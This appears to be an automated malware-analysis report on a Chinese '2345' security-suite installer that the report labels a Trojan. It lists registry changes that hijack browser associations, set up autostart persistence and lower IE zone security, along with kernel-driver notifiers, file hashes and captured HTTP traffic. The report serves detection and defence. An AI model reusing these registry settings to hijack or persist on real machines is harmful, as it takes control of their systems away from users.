[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice]
"Progid" = "htmlfile"

[HKCU\Software\Classes\https\DefaultIcon]
"(Default)" = "%Program Files%\Internet Explorer\iexplore.exe,1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.mhtm]
"Progid" = "htmlfile"

[HKCR\HTTP\shell\open\command]
"(Default)" = "%Program Files%\Internet Explorer\iexplore.exe -nohome"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.mhtm]
"Progid" = "htmlfile"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.htm]
"Progid" = "htmlfile"

[HKCR\https\DefaultIcon]
"(Default)" = "%Program Files%\Internet Explorer\iexplore.exe,1"

[HKCU\Software\Microsoft\Internet Explorer\Main]
"Check_Associations" = "no"

[HKCU\Software\Classes\https\shell]
"(Default)" = ""

[HKLM\System\CurrentControlSet\Services\2345FsMon\Instances\2345FsMon Instance]
"Altitude" = "265000"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.shtm]
"Progid" = "htmlfile"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.html]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.mhtml]
"Progid" = "htmlfile"

[HKLM\System\CurrentControlSet\Services\2345FsMon\Instances]
"DefaultInstance" = "2345FsMon Instance"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Main]
"Start Page" = "www.2345.com/?k1742288"

[HKCU\Software\Classes\http\shell]
"(Default)" = ""

[HKCU\Software\Classes\ftp\DefaultIcon]
"(Default)" = "%Program Files%\Internet Explorer\iexplore.exe,1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.shtml]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.html\UserChoice]
"Progid" = "htmlfile"

[HKCR\.shtml]
"(Default)" = "htmlfile"

[HKCR\HTTP\DefaultIcon]
"(Default)" = "%Program Files%\Internet Explorer\iexplore.exe,1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.xhtml]
"Progid" = "htmlfile"

[HKCU\Software\Classes\.htm]
"(Default)" = "htmlfile"

[HKCU\Software\Microsoft\Windows\Shell\Associations\UrlAssociations\res\UserChoice]
"Progid" = "htmlfile"

[HKLM\System\CurrentControlSet\Services\2345FsMon]
"DependOnService" = "FltMgr,"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.html]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.svg]
"Progid" = "htmlfile"

[HKCR\.htm]
"(Default)" = "htmlfile"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.mhtm\UserChoice]
"Progid" = "htmlfile"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.htm\UserChoice]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\Microsoft\Windows\Shell\Associations\UrlAssociations\res\UserChoice]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.mht]
"Progid" = "htmlfile"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\System\CurrentControlSet\Services\2345FsMon\Instances\2345FsMon Instance]
"Flags" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.website]
"Progid" = "htmlfile"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.mhtml]
"Progid" = "htmlfile"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.partial\UserChoice]
"Progid" = "htmlfile"

[HKCU\Software\Classes\htmlfile\shell]
"(Default)" = ""

[HKCR\ftp\DefaultIcon]
"(Default)" = "%Program Files%\Internet Explorer\iexplore.exe,1"

[HKLM\SOFTWARE\Microsoft\Windows\Shell\Associations\UrlAssociations\ftp\UserChoice]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.xht]
"Progid" = "htmlfile"

[HKCU\Software\Classes\.xhtml]
"(Default)" = "htmlfile"

[HKCR\ftp\shell]
"(Default)" = ""

[HKLM\SOFTWARE\Microsoft\Windows\Shell\Associations\UrlAssociations\mk\UserChoice]
"Progid" = "htmlfile"

[HKCR\.xht]
"(Default)" = "htmlfile"

[HKCU\Software\Microsoft\Windows\Shell\Associations\UrlAssociations\ftp\UserChoice]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Main]
"Check_Associations" = "no"

[HKLM\System\CurrentControlSet\Services\2345FsMon]
"ErrorControl" = "1"

[HKCU\Software\Classes\https\shell\open\command]
"(Default)" = "%Program Files%\Internet Explorer\iexplore.exe -nohome"

[HKCU\Software\Classes\http\shell\open\command]
"(Default)" = "%Program Files%\Internet Explorer\iexplore.exe -nohome"

[HKCU\Software\Microsoft\Windows\Shell\Associations\UrlAssociations\https\UserChoice]
"Progid" = "htmlfile"

[HKLM\System\CurrentControlSet\Services\2345FsMon]
"Type" = "2"

The following driver will be automatically launched by the NT Native code (IoInitSystem method):

[HKLM\System\CurrentControlSet\Services\2345FsMon]
"Start" = "1"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"2345SafeTray" = "%Program Files%\2345Soft\2345PCSafe\2345SafeTray.exe /notify_autorun"

The process 2345ShellPro.exe:480 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E9 66 7A E5 42 B6 3A 09 75 2D 5A B2 20 20 C8 C4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Programs" = "%Documents and Settings%\All Users\Start Menu\Programs"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

The process ºÇºÇ.exe:1316 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "84 FF 9B 40 BD 4D BA ED 71 BE C5 C4 6D 9C C3 7D"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%\Local Settings\Temp\HZ$D.980.4448]
"2345pcsafe_k1742288.exe" = "2345安全卫士 v1.3 安装程序"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The process 2345softmgr_setup.exe:1888 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "EC 1A ED 38 5A FD B0 98 F9 17 DC 9C 20 4F 37 D6"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\2345SoftMgr]
"DisplayVersion" = "v1.3"
"DisplayIcon" = "%Program Files%\2345Soft\2345SoftMgr\2345SoftMgr.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\2345SoftMgr]
"Publisher" = "2345.com"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\2345SoftMgr]
"statID" = "100010"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\2345SoftMgr]
"DisplayName" = "2345软件管家"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\2345SoftMgr]
"Value4" = "setup"
"Path" = "%Program Files%\2345Soft\2345SoftMgr"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\2345SoftMgr.exe]
"Path" = "%Program Files%\2345Soft\2345SoftMgr"

[HKLM\SOFTWARE\2345SoftMgr]
"Value" = "000014013710301064106251560402"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\2345SoftMgr.exe]
"(Default)" = "%Program Files%\2345Soft\2345SoftMgr\2345SoftMgr.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\2345SoftMgr]
"URLInfoAbout" = "http://safe.2345.com"
"UninstallString" = "%Program Files%\2345Soft\2345SoftMgr\Uninstall.exe"

[HKLM\SOFTWARE\2345SoftMgr]
"Value3" = "000030462524000715611146"

The process 2345SafeSvc.exe:408 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "3E CF DD 3B 44 33 CE DD 03 0D 7C 33 E2 C1 5D D4"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\F]
"BaseClass" = "Drive"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\C]
"BaseClass" = "Drive"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\LocalService\Application Data"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\D]
"BaseClass" = "Drive"

[HKU\.DEFAULT\Software\Microsoft\Windows NT\CurrentVersion\Winlogon]
"ParseAutoexec" = "1"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\A]
"BaseClass" = "Drive"

The process 2345pcsafe_k1742288.exe:1488 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "75 96 D6 BE 36 32 68 C0 75 05 36 AE CF BB 5C 3C"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\2345PCSafe]
"statID" = "100010"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\2345MPCSafe.exe]
"(Default)" = "%Program Files%\2345Soft\2345PCSafe\2345MPCSafe.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\2345PCSafe]
"UninstallString" = "%Program Files%\2345Soft\2345PCSafe\Uninstall.exe"

[HKLM\SOFTWARE\2345PCSafe]
"Value" = "000064013610305064306251620402"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\2345PCSafe]
"DisplayIcon" = "%Program Files%\2345Soft\2345PCSafe\2345MPCSafe.exe"
"URLInfoAbout" = "http://safe.2345.com"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\2345PCSafe]
"Publisher" = "2345.com"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\2345MPCSafe.exe]
"Path" = "%Program Files%\2345Soft\2345PCSafe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\2345PCSafe]
"Path" = "%Program Files%\2345Soft\2345PCSafe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\2345PCSafe]
"DisplayVersion" = "v1.3"

[HKLM\SOFTWARE\2345PCSafe]
"Value3" = "000030462524000656236146"
"Value4" = "k1742288"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\2345PCSafe]
"DisplayName" = "2345安全卫士"

Dropped PE files

MD5 File path
dce7d48a8c0a9fd476852b61dc90c914 c:\Program Files\2345Soft\2345PCSafe\2345AvCloudQuery.dll
7ada1aa95a475aec1fdb9b8f85c1cdfc c:\Program Files\2345Soft\2345PCSafe\2345AvScan.dll
2a5a893a99e8e35f0948574ef2b4452b c:\Program Files\2345Soft\2345PCSafe\2345AvScan.exe
c61ade229c590559073920f9baf0d1bd c:\Program Files\2345Soft\2345PCSafe\2345AvScanEngine.dll
ea6d0b74884a62162b18264d8118054b c:\Program Files\2345Soft\2345PCSafe\2345BrowserDl.exe
5dcdfa64ecedf33435f0c07c9461e43d c:\Program Files\2345Soft\2345PCSafe\2345ExtShell.exe
615039ca9040e2e940e992db88aadd14 c:\Program Files\2345Soft\2345PCSafe\2345FsMon.dll
3592ad7351492b0f4ce37f9b870382e8 c:\Program Files\2345Soft\2345PCSafe\2345GlobalData.exe
6be1d28c73388e436bbc505a8f83ca4f c:\Program Files\2345Soft\2345PCSafe\2345InstallerPowerApi.dll
1315cc886b9ef82e9903e1fd279e5a87 c:\Program Files\2345Soft\2345PCSafe\2345MPCSafe.exe
1276684ef9a07bc5fe9d484b0f31a8da c:\Program Files\2345Soft\2345PCSafe\2345NetMon.dll
30bebbbf935823a0e37eacd7f271f67c c:\Program Files\2345Soft\2345PCSafe\2345ProcessApi.dll
602c4634e5a9587b072d487c6f8dea0d c:\Program Files\2345Soft\2345PCSafe\2345RTProtect.exe
31aeac66cae0a2992b9e2ba4a2a40354 c:\Program Files\2345Soft\2345PCSafe\2345RegMon.dll
70998c5b378ac5eb866f1845fa617f38 c:\Program Files\2345Soft\2345PCSafe\2345SFBase.dll
ecd184ed23021cf77c90972ef9f9dad0 c:\Program Files\2345Soft\2345PCSafe\2345SFEMon.dll
7999833b416dc0eb681c468e86bdd06d c:\Program Files\2345Soft\2345PCSafe\2345SFGuard.exe
a19965e32e6d293f9b4cd6ec78f1a146 c:\Program Files\2345Soft\2345PCSafe\2345SFWebMon.dll
a964af474ad6e692ba4375f63bef926b c:\Program Files\2345Soft\2345PCSafe\2345SFWebShell.exe
40595f6fdc6f68eec61035de064171e8 c:\Program Files\2345Soft\2345PCSafe\2345SafeDB.dll
f999f032ce0233a82222f4589ccbfcdd c:\Program Files\2345Soft\2345PCSafe\2345SafeDispatcher.dll
a22a276cbeaa5d999472d37a010b685f c:\Program Files\2345Soft\2345PCSafe\2345SafeExam.dll
259dd9dedbe97662e65308f21d0ee3b2 c:\Program Files\2345Soft\2345PCSafe\2345SafeExt.dll
e0d6ef18f13808abf406baf7c27bb32f c:\Program Files\2345Soft\2345PCSafe\2345SafeGarbage.dll
4671f6daf0d8f383cfc30f9c8a5ec488 c:\Program Files\2345Soft\2345PCSafe\2345SafeHotfix.dll
f23e4df7322d182e2ae92176bcfa5db4 c:\Program Files\2345Soft\2345PCSafe\2345SafeNotify.exe
5afae7885d50dc2e9eb3ebf43bd3f2df c:\Program Files\2345Soft\2345PCSafe\2345SafeOptimize.dll
9c4400026c2616cba6737ab82b8d5493 c:\Program Files\2345Soft\2345PCSafe\2345SafeService.dll
8d3488370b000e47be1d937d631e766b c:\Program Files\2345Soft\2345PCSafe\2345SafeSvc.exe
72a19832ffb845bcbfd29282836b4a8b c:\Program Files\2345Soft\2345PCSafe\2345SafeTray.exe
f9fb0bb1aaead04fc4aa997651e65dcb c:\Program Files\2345Soft\2345PCSafe\2345SafeUpdate.dll
f6c442fbb42bfb961c1f712fa98ed39f c:\Program Files\2345Soft\2345PCSafe\2345SafeUtils.exe
bee83e7059ae697ca3d1166f0adc6624 c:\Program Files\2345Soft\2345PCSafe\2345ShellPro.exe
8eafe88bfffc6474522f39609dd384b8 c:\Program Files\2345Soft\2345PCSafe\2345softmgr_setup.exe
08180dfbcc3f0b1b1949c182bce91cb8 c:\Program Files\2345Soft\2345PCSafe\Uninstall.exe
3e29914113ec4b968ba5eb1f6d194a0a c:\Program Files\2345Soft\2345PCSafe\msvcp110.dll
4ba25d2cbe1587a841dcfb8c8c4a6ea6 c:\Program Files\2345Soft\2345PCSafe\msvcr110.dll
a5cb58df6e8a1ed88444727c17092c0a c:\Program Files\2345Soft\2345PCSafe\sqlite3.dll
c5d262f524cdf51281d170f3608e6bb5 c:\Program Files\2345Soft\2345SoftMgr\2345SafeDB.dll
b4efc3b5e61f27ff32564367db16a2a4 c:\Program Files\2345Soft\2345SoftMgr\2345SafeDispatcher.dll
0bfceae14f3854825a867aa21a85fb6f c:\Program Files\2345Soft\2345SoftMgr\2345SafeUpdate.dll
1ead602859be67338fa49cfe0cc2b12a c:\Program Files\2345Soft\2345SoftMgr\2345SoftBox.dll
a7d580b981f107746866ad79da40d56f c:\Program Files\2345Soft\2345SoftMgr\2345SoftInstaller.exe
9a4caff868707d9d91f1a3038f860bdb c:\Program Files\2345Soft\2345SoftMgr\2345SoftLib.dll
11c515f3030958d4b43af0209315ce7e c:\Program Files\2345Soft\2345SoftMgr\2345SoftLocal.dll
7e4ebfcbc0a2f3c34db7d9ddac47b3d1 c:\Program Files\2345Soft\2345SoftMgr\2345SoftMgr.exe
31b2b65857bcccdff2b004fdcbaf51cc c:\Program Files\2345Soft\2345SoftMgr\2345SoftMgrDB.dll
7ad94de6cccc5cc18285fab72545c018 c:\Program Files\2345Soft\2345SoftMgr\2345SoftService.dll
434d2d8384fc88c69876ef70a957a663 c:\Program Files\2345Soft\2345SoftMgr\2345SoftSvc.exe
c17579aed7f9afc94b1cf6080eadc558 c:\Program Files\2345Soft\2345SoftMgr\2345SoftUninstall.dll
c74cffef401d363d0e239181b91cfd93 c:\Program Files\2345Soft\2345SoftMgr\2345SoftUtils.dll
7605d589832298e052fc009e22a32f96 c:\Program Files\2345Soft\2345SoftMgr\2345softNotify.exe
2ac7adfcdff51bd4345a0d83ac7e62dd c:\Program Files\2345Soft\2345SoftMgr\Uninstall.exe
3e29914113ec4b968ba5eb1f6d194a0a c:\Program Files\2345Soft\2345SoftMgr\msvcp110.dll
4ba25d2cbe1587a841dcfb8c8c4a6ea6 c:\Program Files\2345Soft\2345SoftMgr\msvcr110.dll
a5cb58df6e8a1ed88444727c17092c0a c:\Program Files\2345Soft\2345SoftMgr\sqlite3.dll
5b4a9db21fd3def72bbaf8e7fece560b c:\WINDOWS\system32\drivers\2345FsMon.sys
818981c7bf0a18c8d58909dd6b8ce908 c:\WINDOWS\system32\drivers\2345NetMon.sys
eb5148236c798d4d41c8743bd8702c69 c:\WINDOWS\system32\drivers\2345PowerApi.sys
8b509ab090266ab8c0c8e741e8c533ee c:\WINDOWS\system32\drivers\2345RegMon.sys
92d0a9c3cd68488f44b17cdb0ec9c368 c:\³ÉÆ·.exe
c4a1a359b052368506693d2dc232d4b7 c:\ºÇºÇ.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

Using the driver "UNKNOWN" the Trojan controls creation and closing of processes by installing the process notifier.
Using the driver "%System%\drivers\2345FsMon.sys" the Trojan controls creation and closing of processes by installing the process notifier.
Using the driver "UNKNOWN" the Trojan controls loading executable images into a memory by installing the Load image notifier.
Using the driver "UNKNOWN" the Trojan controls operations with a system registry by installing the registry notifier.

Propagation

VersionInfo

No information is available.

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text 4096 738299 741376 4.54952 e30151658afcf3940cc3a7a2f1d16668
.rdata 745472 15203502 15204352 5.38604 e2519a6371ac9ed0989c761d5e787a3c
.data 15949824 405962 131072 3.8332 de184fe7db95638b0c253275900424ed
.rsrc 16359424 30024 32768 3.37002 a9553dca99210e69317efe2b85182e7d

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL IP
hxxp://db.safe.2345.com/query.php 183.136.203.31
hxxp://update.antivirus.2345.com/dbupdate/check.php 221.228.75.139


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

POST /query.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: dict=fofedfdskdwdjmjwkfsmf1ifs3lco7fk;sid=k4e3g7nrn0kb6plgiuv9ij7mt7;PHPSESSID=k4e3g7nrn0kb6plgiuv9ij7mt7;
Host: db.safe.2345.com
Content-Length: 494
Cache-Control: no-cache

type=query&cid=2345safe&cv=1.5.0.4418&pv=1.0&code=Z8c27N5f65d9d6904cjMkBjZmRTOlNmNmdjY4AjYidTYwgTNlZmMzYTZykjZkNmMjdjY5MzM0UD3lNje&sid=k4e3g7nrn0kb6plgiuv9ij7mt7&key=N540aY1000f7b754||wY4MmZihjMlJWZhVGOzQGMmRWNjBzNlNWNxEGOkJTNmVmMkRDZ5ITN2AzMjFTN1IDM1QWNxEDZ3ITNlJ2ezEGe&check_sum=M43feNec13462d3d|kDOiJWM5YTM0QjYxkDOwQWN3AjY1gjNihzN1MG4xIGd&md5=Yc465M5158de6f2d||wWptnI6QmIiADL10GZiIiOiBTNwEDMkZGOwQ2NidzM3YGZlJ2MkRjNzATZkZTYiAzYzxiIllmezIiO1IjMdZTflpQZlZjM0MGM0Y2YxETZiZTZ3gTYhBzYhhjY1AzfjBjc
HTTP/1.1 200 OK
Date: Sun, 09 Aug 2015 00:41:48 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: dict=kk0mwfjekzjd0sofdfdfdwllffo1vndf; path=/
Set-Cookie: PHPSESSID=k4e3g7nrn0kb6plgiuv9ij7mt7; expires=Sun, 09-Aug-2015 08:41:48 GMT
Content-Length: 144
Content-Encoding: none
Content-Transfer-Encoding: binary
Connection: close
Content-Type: text/json;charset='UTF-8'
==Qfd1InxIiOimwciwiIoijIuRnsIAjOiQaWis3W6SIek9mYwiSfiUmzNYTdcBNz1YTdcG
VZ2UTdRcDZmhTcdZWOyUdTcBTMyTYdcJiOci2ctJCiLM0QVNIl6Iyc1XRY0NnIp7jIkFWo
ZJye..



POST /query.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: dict=kk0mwfjekzjd0sofdfdfdwllffo1vndf;sid=k4e3g7nrn0kb6plgiuv9ij7mt7;PHPSESSID=k4e3g7nrn0kb6plgiuv9ij7mt7;
Host: db.safe.2345.com
Content-Length: 31818
Cache-Control: no-cache

type=query&cid=2345safe&cv=1.5.0.4418&pv=1.0&code=Nc167Y2406255bba4cjMkBjZmRTOlNmNmdjYzAjYlZWZ2YzMjJzMiZjZ4EDOkF2NhV2YwYWY3Aj15gTd&sid=k4e3g7nrn0kb6plgiuv9ij7mt7&key=Nd157O24b3395fcb||gN5AjY4QDO3Y2NxQGZ3EWN3gTO3ETZjdTOlFmNyMWO3QWMkRzNhVTZhVmYyYTZ2EGZ1ADN2EGN1AzMyQT8zgDf&check_sum=N3ae1M86f9ae80dc|UTZ1kzYmRzYlVmY0IjN1EmZxImYmVjYyQGZ0Ej81Iza&md5=O6bf4N7cf86bcbeb||wWptnI6QmIiADL10GZiIiOkJzNklTZihzY2gjYxIDZhVGM1gTZlF2YmZzYlVjMiIjZzxiIllme3IiOwAjN9RDOiwyeikGZsoTMkJSb6UjI2ISMmFDOkNjN3QjZjZmNlN2YlJ2M0UGN5IWYlVjYjhTNiICL6NXa6UmIzITO2MzN71HLkJSayIiOtxiIiQWNipjI1ATMxIWOkNDN3EGZ5UmMkV2N2IDZmJWN4UzYmNmMsMmIpJycioXZ4ojM4UTMsQTfptnI6QmIiMDL10GZiIiOmRjM0EjZhNGMwYmYxgDN1ATZyYGMiRGNlFzM2ImYiIzMzxiIllme1IiOzIzNsYTfptnI6QmIiQDL10GZiIiO2ImMzIWMmVjZ5EjYwYmNzMWOihDO3QTY2QWMwYmNiAjYzxiIllme1IiO1cDO9ZDMiwyeikGZsoTNkJSb6UjIxICMmJDZ4MTNiNWZyEWYjNTY2ImMyQGO3AzNwgjM3gTMiICL6NXa6UmIwIjM9FjNiwyeikGZsojNkJSb6UjIhJiY4IGN1kTYyYWZyYjZjRGMwkTM3MmZ3EmZjVGNyYWOiICL6NXa6UmI3YTMyQzN71HLkJSa3IiOtxiIiQWNipjI5kzNkRWO4EzYzAzNyQWY3ETYwYGO1MDNwY2MxYTYsQmIpJycioXZ4oTNwQzNsQTfptnI6QmIigDL10GZiIiOhJGZ3EmZklDZmZzM0ETO0QzMxQ2M0E2NiJWOiJGOiczNzxiIllme1IiOwkTO9RDMiwyeikGZsoTOkJSb6UjIjJiZxYWY1MWNxkzNyM2YkJTOzMTNh